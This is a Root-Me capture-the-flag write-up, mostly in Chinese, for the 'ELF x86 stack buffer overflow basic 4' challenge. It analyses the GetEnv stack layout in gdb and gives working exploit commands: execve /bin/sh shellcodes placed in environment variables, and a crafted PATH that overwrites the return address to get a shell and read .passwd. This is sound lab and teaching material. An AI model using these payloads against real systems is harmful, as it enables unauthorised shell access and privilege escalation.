ELF x86 - stack buffer overflow basic 4
ELF x86 - stack buffer overflow basic 4
参考:
- https://github.com/s1syphu5/RootMe-Challenges/tree/master/System/ELF%20x86%20-%20Stack%20buffer%20overflow%20basic%204
- https://gitlab.com/rsheasby/root-me-app-system/-/blob/master/09.%20ELF%20x86%20-%20Stack%20buffer%20overflow%20basic%204/instructions.md
- http://showlinkroom.me/2017/12/04/Root-me-App-System02/
- https://www.root-me.org/en/Challenges/App-System/ELF-x86-Stack-buffer-overflow-basic-4?action_solution=voir#ancre_solution
逆向
struct EnvInfo GetEnv(void){}
中有strcpy()
函数,存在溢出点。
+----------------------------+
| HOME env variable | %ebp - 540
+----------------------------+
| USERNAME env variable | %ebp - 412
+----------------------------+
| SHELL env variable | %ebp - 284
+----------------------------+
| PATH env variable | %ebp - 156
+----------------------------+
| saved ebp |
+----------------------------+
| return address | %ebp + 4
+----------------------------+
| rep movsl dest. address | %ebp + 8
+----------------------------+
Since 540 - 128 = 412, 412 - 128 = 284 and 284 - 128 = 156, we get the following stack summary:
- %ebp - 540 | env.home
- %ebp - 412 | env.username
- %ebp - 284 | env.shell
- %ebp - 156 | env.path
- %ebp | saved frame pointer
- %ebp + 4 | saved EIP
- %ebp + 8 | rep movsl destination address
var char *dest @ ebp-0x21c
0x08048590 e8dbfdffff sym.imp.strcpy ();[og] 第二次的赋值,USERNAME
gdb-peda$ x/101xw 0xbffff3cc 存输入值
0xbffff3cc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff3dc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff3ec: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff3fc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff40c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff41c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff42c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff43c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff44c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff45c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff46c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff47c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff48c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff49c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff4ac: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff4bc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff4cc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff4dc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff4ec: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff4fc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff50c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff51c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff52c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff53c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff54c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff55c: 0x0804a000
EAX: 0xbffff44c ('a' <repeats 200 times>...)
存shell 字符串
EAX: 0xbffff4cc ('a' <repeats 128 times>, "e\377\377\277", 'a' <repeats 12 times>)
放path
1 | disas GetEnv |
program allocates 0x22c = 556 bytes (an EnvInfo struct is around 512 bytes long),
rep movsl … instruction at the end of the function, which consists of copying n long words **from %esi to %edi, with n being the value stored in **%ecx ;
it loads an address located at %ebp + 8 into the %edi register (destination address)
it loads the address of %ebp - 540 (0x21c = 540) into the %esi register (source address)
%ecx is initially set to 0x200(512) **and then **divided by 4 (shr $2), i.e., %ecx equals 128. Hence, 128 long (4-bytes) words will be copied, resulting in the 512 bytes of the 4 buffers of an EnvInfo struct.
in order to output its EnvInfo struct, GetEnv creates a local struct where it stores the data first, and then, in its prologue**, GetEnv actually replicates the local struct into a “remote” struct, located at the address read **at %ebp + 8
还要复制结构体
$PATH=$(python -c 'print "/usr/local/bin:" + "A" * (164-16)') peda -ex "run" ./ch8
这命令
如果打印420(412+4 =416 在这里输入4个字节,总长变为420) a,溢出
gdb-peda$ x/16xb 0xbffff55c
0xbffff55c: 0x61 0x61 0x61 0x61 0x00 0xf5 0xff 0xbf
path后面跟着一个null \00
会改变指针值,结构体赋值到$ebp+8指向的地址处
打印416 a
0xbffff55c: 0x08048600 0xbffff570
没有改变ebp+8
这个地址是main中env结构体地址
或者重新分配512字节可写空间
1 |
|
cd /tmp; gcc -m32 -o find_env find_env.c; cd -
app-systeme-ch8@challenge02:~$ export SHELLCODE=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"`
app-systeme-ch8@challenge02:~$ export JUNK=`python -c "print 'B' * 1000"`
app-systeme-ch8@challenge02:~$ /tmp/find_env SHELLCODE ./ch8
SHELLCODE will be at 0xbffff931
app-systeme-ch8@challenge02:~$ /tmp/find_env JUNK ./ch8
JUNK will be at 0xbffffb2b
export PATH=
python -c “print ‘A’*160 + ‘\x31\xf9\xff\xbf’ + ‘\x2b\xfb\xff\xbf’”``
我们将shellcode放在USERNAME上,我试了几个shellcode,只有这个有用,
export USERNAME=`python -c 'print("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")'`
总长33字节
然后溢出PATH,要保证$ebp+8的值不变(小端序),
path长119,再填充一个:
,保持为4的倍数,
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/:`python -c 'print("\x6c\xf5\xff\xbf"*11+"\x50\xf7\xff\xbf")'`
0xbfff56c
是USERNAME地址,0xbffff750
是$ebp+8的值,现在PATH总长168。
app-systeme-ch8@challenge02:~$ ./ch8
[+] Getting env...
bash-4.4$ cat .passwd
学到的命令
设置环境变量
export USERNAME=
gdb中set env USERNAME=
查看x/x env.path
查看环境变量长度
echo ${#PATH}
gdb-peda$ print $ebp-0xbffff55c
disas GetEnv